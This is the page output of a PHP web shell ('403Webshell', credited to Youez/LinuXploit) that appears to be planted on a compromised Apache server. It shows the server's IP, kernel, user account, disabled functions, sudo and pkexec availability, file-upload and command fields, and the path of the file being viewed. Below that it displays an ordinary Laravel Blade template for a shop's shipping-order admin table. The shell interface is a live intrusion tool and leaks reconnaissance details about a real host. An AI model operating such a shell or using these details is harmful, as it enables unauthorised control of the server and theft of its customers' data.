403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/6adb35ebab716cc9fc6aa2c6011eab4e78be800a.php
<table class="table table-bordered table-striped">
<thead>
    <tr>
        <th></th>
        <th>Transportadora</th>
        <th class="text-center">Qtde. Pedidos</th>
        <th class="text-center">Ação</th>
    </tr>
</thead>
<tbody>
<?php $__currentLoopData = $transportadoras; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $transportadora): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<tr data-id="<?php echo e($transportadora->id); ?>" id="transportadora-<?php echo e($transportadora->id); ?>">
    <td class="text-center">
        <i class="fa-detail ver-detalhes-transportadora fa fa-plus-circle"></i>
    </td>
    <td><?php echo e($transportadora->nome); ?></td>
    <td class="text-center">
        <?php echo (isset($pedidos[$transportadora->id]) ? count($pedidos[$transportadora->id]) : 0); ?>
    </td>
    <td class="text-center">
        <button type="button" class="btn btn-success" onclick="gerarExpedicao(<?php echo e($transportadora->id); ?>)">Gerar Expedição</button>
    </td>
</tr>
<tr id="detalhes-transportadora-<?php echo e($transportadora->id); ?>" style="background-color: #F2F2F2; display: none">
    <td></td>
    <td colspan="3" style="padding: 5px;" id="tabela-detalhes-transportadora-<?php echo e($transportadora->id); ?>">
        <div class="row">
            <div class="col-md-12">
                <table class="table table-bordered" style="margin-bottom: 0px;">
                <thead>
                    <tr>
                        <th class="no-sort text-center">
                            <input type="checkbox" name="selecionar_todos" value="<?php echo e($transportadora->id); ?>" data-id="<?php echo e($transportadora->id); ?>" />
                        </th>
                        <th class="text-center">Pedido</th>
                        <th class="text-center">Data Solicitação</th>
                        <th>Cliente</th>
                        <th class="hidden">Frete</th>
                        <th class="text-center">NF</th>
                        <th class="text-center">Expedição Erp</th>
                        <th class="text-center">Agrupamento</th>
                        <th class="text-center">Status</th>
                        <th class="text-left">Mensagem</th>
                    </tr>
                </thead>
                <tbody>
                    <?php $__currentLoopData = $pedidos[$transportadora->id]; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $pedido): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <?php 
                    $key  = "{$pedido->transportadora_id}_{$pedido->id}_{$pedido->id_nota_fiscal_erp}";
                    $item = false;
                    if(isset($itens[$key])){
                        $item = $itens[$key];
                    }
                    ?>
                    <tr>
                        <td class="text-center">
                            <?php if(!empty($pedido->id_transportadora)): ?>
                                <?php if(!$item || (isset($item) && (empty($item->sucesso) || $item->sucesso == 0))): ?>
                                <input type="checkbox" name="item_pedido[]" value="<?php echo e($pedido->id); ?>" class="item_pedido_<?php echo e($transportadora->id); ?>" />
                                <?php endif; ?>
                            <?php endif; ?>
                            <input type="hidden" value="<?php echo e($pedido->id_nota_fiscal_erp); ?>" id="id_nota_fiscal_erp_<?php echo e($pedido->id); ?>" />
                        </td>
                        <td class="text-center"><?php echo e($pedido->id); ?></td>
                        <td class="text-center"><?php echo e(!empty($pedido->data_solicitacao) ? date('d/m/Y H:i:s', strtotime($pedido->data_solicitacao)) : ''); ?></td>
                        <td><?php echo e($pedido->cliente_nome); ?> <?php echo e($pedido->cliente_sobrenome); ?></td>
                        <td class="hidden">
                            <?php 
                            $status = ($pedido->status_frete == 2 || $pedido->status_frete == 7 || $pedido->status_frete == 3) ? 'Aprovado' : 'Em aberto'; 

                            if($pedido->retirada_local){
                                echo "<strong>RETIRADA NO LOCAL: " . date('d/m/Y', strtotime($pedido->data_retirada)) . " - " . date('H:i', strtotime($pedido->data_retirada))."h</strong>";
                            }else{
                                echo $pedido->valor_frete ? 'R$ '.number_format($pedido->valor_frete,2,',','.').' ('.$status.')' : 'Gratuito';
                                echo ($pedido->cotacao_valor ? ' | R$ ' . number_format($pedido->cotacao_valor, 2, ',', '.') : '');
                            }
                            ?>
                        </td>
                        <td class="text-center"><?php echo e($pedido->nota_fiscal_erp); ?></td>
                        <td class="text-center"><?php echo (isset($item->expedicao_erp) ? $item->expedicao_erp : '')?></td>
                        <td class="text-center"><?php echo (isset($item->agrupamento) ? $item->agrupamento : '')?></td>
                        <td class="text-center"><?php echo (isset($item->sucesso) ? ($item->sucesso ? '<span style="color:green; font-weight: bold">Ok</span>' : '<span style="color:red; font-weight: bold">Erro</span>') : '')?></td>
                        <td class="text-left">
                            <?php
                            $observacao = '';
                            if(isset($item->sucesso)){
                                $observacao = ($item->sucesso ? '' : $item->observacao);
                            }elseif(empty($pedido->id_transportadora)){
                                $observacao = '<span style="color:red; font-weight: bold">Cotação não finalizada!</span>';
                            }
                            echo $observacao;
                            ?>
                        </td>
                    </tr>    
                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </tbody>
                </table>
            </div>
        </div>
    </td>
</tr>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</tbody>
</table>

<script type="text/javascript">
    $(document).ready(function(){

        $('[name="selecionar_todos"]').click(function(){
            var $id = $(this).data('id');
            console.log($id);
            if($(this).is(':checked')){
                $('.item_pedido_' + $id).prop('checked', true);
            }else{
                $('.item_pedido_' + $id).prop('checked', false);
            }
        });

        $(document).on('click', '.ver-detalhes-transportadora', function(){

            var icon        = $(this);
            var tr          = icon.closest('tr');
            var id_transportadora  = tr.data('id');

            $(this).removeClass('ver-detalhes-transportadora');
            $(this).addClass('esconder-detalhes-transportadora');
            $(this).addClass('fa-minus-circle');
            $(this).removeClass('fa-plus-circle');

            $('#detalhes-transportadora-' + id_transportadora).show();

        });

        $(document).on('click', '.esconder-detalhes-transportadora', function(){

            var icon        = $(this);
            var tr          = icon.closest('tr');
            var id_transportadora    = tr.data('id');

            $(this).removeClass('esconder-detalhes-transportadora');
            $(this).addClass('ver-detalhes-transportadora');
            $(this).addClass('fa-plus-circle');
            $(this).removeClass('fa-minus-circle');

            $('#detalhes-transportadora-' + id_transportadora).hide();

        });

    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit